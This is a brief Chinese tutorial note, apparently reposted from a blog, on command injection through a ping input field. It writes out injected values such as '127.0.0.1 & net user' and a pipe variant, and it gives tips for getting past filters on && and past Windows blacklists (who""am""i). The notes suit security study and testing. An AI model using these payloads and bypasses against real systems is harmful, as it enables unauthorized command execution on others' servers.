命令注入

命令注入流程：

　　　　

 

　　第一步：确认调用了ping命令

　　第二步：确认可控字段  127.0.0.1

　　第三部：确认命令语句：127.0.0.1 & net user

　　　　　　

　　手工实战：&&更容易被过滤  &也是可以的

 

　　当&都被过滤的时候：就要考虑管道命令了|

　　127.0.0.1| net user

 

　　　

　　黑名单：

　　who""am""i:windows下绕过黑名单

　　命令注入通常有回显

 

转载于:https://www.cnblogs.com/csm21/p/10605540.html